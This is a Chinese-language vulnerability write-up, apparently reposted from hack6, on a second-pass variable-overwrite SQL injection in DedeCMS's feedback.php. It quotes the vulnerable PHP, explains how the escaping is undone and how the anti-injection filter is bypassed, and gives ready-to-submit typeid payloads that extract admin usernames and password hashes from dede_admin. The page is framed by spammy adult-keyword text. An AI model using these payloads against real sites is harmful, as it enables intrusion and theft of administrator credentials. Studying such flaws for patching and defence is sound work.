成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

對最近dedecms注入的分析

安全 應用安全
存在問題的代碼: ... if($comtype == 'comments') { $arctitle = addslashes($title); if($msg!='') {//$typeid變量未做初始化 $inquery = INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,

漏洞文件: plus\feedback.php。

存在問題的代碼:

...if($comtype == 'comments')

{

$arctitle = addslashes($title);

if($msg!='')

{//$typeid變量未做初始化

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";

echo $inquery;//調試,輸出查詢語句

$rs = $dsql->ExecuteNoneQuery($inquery);

if(!$rs)

{

ShowMsg(' 發表評論錯誤! ', '-1');

//echo $dsql->GetError();

exit();

}

}

}

//引用回復

elseif ($comtype == 'reply')

{

$row = $dsql->GetOne("SELECT * FROM `dede_feedback` WHERE id ='$fid'");

$arctitle = $row['arctitle'];

$aid =$row['aid'];

$msg = $quotemsg.$msg;

$msg = HtmlReplace($msg, 2);

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

$dsql->ExecuteNoneQuery($inquery);

}

完整的輸入語句,第二個參數 typeid可控。

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

common.inc.php文件 會把所有的request進行處理。

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )

{

exit('Request var not allow!');

}

$svar = addslashes($svar);

}

}

return $svar;

}

…..

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == 'nvarname') ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

}

….

從上面代碼可以看到他對外來的提交進行了轉義處理,但是在filter.ini.php文件中

function _FilterAll($fk, &$svar)

{

global $cfg_notallowstr,$cfg_replacestr;

if( is_array($svar) )

{

foreach($svar as $_k => $_v)

{

$svar[$_k] = _FilterAll($fk,$_v);

}

}

else

{

if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))

{

ShowMsg(" $fk has not allow words!",'-1');

exit();

}

if($cfg_replacestr!='')

{

$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);

}

}

return $svar;

}

/* 對_GET,_POST,_COOKIE進行過濾 */

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

${$_k} = _FilterAll($_k,$_v);

}

}上面是處理敏感詞的代碼,但是又對變量進行了注冊,導致了變量二次覆蓋漏洞。其實這漏洞很早前就存在,之前的是因為對提交的變量只檢查一維數組的key,可以被繞過從而創建不允許的系統配置變量,dedecms歷來的修改都讓人摸不著頭腦,修補的都是表面的東西,實質導致漏洞問題的原因不做修改。從這次的補丁看來,他就只加了一句判斷$typeid是否為數字,對于80sec的防注入代碼2次被繞過還繼續無視。

所以在GPC=OFF的時候,被轉義的變量又會被重新覆蓋而變成正常代碼。

Eg: typeid=2\’ 經過覆蓋 typeid=2’

研究過上次dedecms SQL注入的問題的同學肯定了解他的防注入機制。這里做下簡單的分析。他對于\到\之間的內容作為可信任,不對其進行檢查。所以我們只要把想利用的代碼放在’ ‘內就能躲過檢查。利用Mysql的一個語法,他的值@`’`為空,下面來構造漏洞exp:

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111

我用tamper data提交此參數,

其實這里也利用了一個小bug

可以看到他的表結構,只有msg可以為null,但是利用代碼中在username中用了null,這是非法的語句,單獨插入是不會成功的,但是后面一句語句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合條件的時候會成功同時插入2條語句。由于顯示字符數量的問題,所以選擇了msg字段作為輸出。

補充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`  aid是文章的ID 所以直接用我的語句是不成功的,需要修改成自己的文章ID

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(評論文章ID,’1111

如 Tamper提交,(文章id=123)msg改為 www.hack6.com

mcbang&typeid=0','3','4','5','0','1351739660',%20'0','0','0','0','0','aaaaaa'),('123','2',@`'`,'4','5','1','1351739660',%20'0','0','0','0','0',(SELECT concat(uname,0x5f,pwd,0x5f) from '@#__admin')),(123,'2

責任編輯:藍雨淚 來源: hack6
相關推薦

2014-02-28 17:29:06

2010-09-08 13:31:24

2010-12-14 11:30:11

2013-08-19 13:55:42

2022-09-01 11:02:42

前端工具

2013-08-19 16:02:31

2013-07-19 09:36:04

struts2struts2漏洞

2024-04-30 14:50:13

2012-11-08 17:02:58

2009-06-18 14:51:12

Hibernate緩存Hibernate

2010-10-08 13:56:32

2025-01-13 00:13:59

VSCode架構依賴注入

2013-03-27 14:15:25

2017-10-10 14:38:35

2010-02-06 13:28:31

Android源碼

2018-08-20 13:46:59

Android逆向分析終端安全

2010-08-23 14:51:37

IE6.0padding

2011-09-15 10:15:30

Spring

2010-10-09 14:51:32

IIS設置

2009-02-24 20:55:19

軟件系統構測試影響分析
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 中文字幕国产精品视频 | 久久久精品网站 | 国产午夜三级一区二区三 | 日韩在线不卡 | 伊人网站在线观看 | 韩国理论电影在线 | 国产亚洲精品91 | 成人免费视频 | 免费1区2区3区 | 全部免费毛片在线播放网站 | 午夜在线| 视频一二区 | 视频在线亚洲 | 黄网站在线观看 | 午夜激情在线视频 | 欧美综合一区二区 | 日韩成人av在线 | 亚洲国产精品一区 | 亚洲男人天堂 | 中文字幕亚洲一区 | 国产在线视频三区 | 久久久性色精品国产免费观看 | 欧美久久一区二区三区 | 亚洲国产一区二区三区在线观看 | 91电影| 91精品欧美久久久久久久 | 欧美高清视频在线观看 | 日本欧美黄色片 | 黄色成人免费在线观看 | 精品91久久 | 午夜免费福利电影 | 国产高清在线观看 | 91精品国产91久久久久久 | 亚洲精品视频在线看 | 午夜亚洲 | 色毛片| 久草中文网 | 综合色在线 | 国产高清在线视频 | 国产精品欧美一区二区 | 美女逼网站 |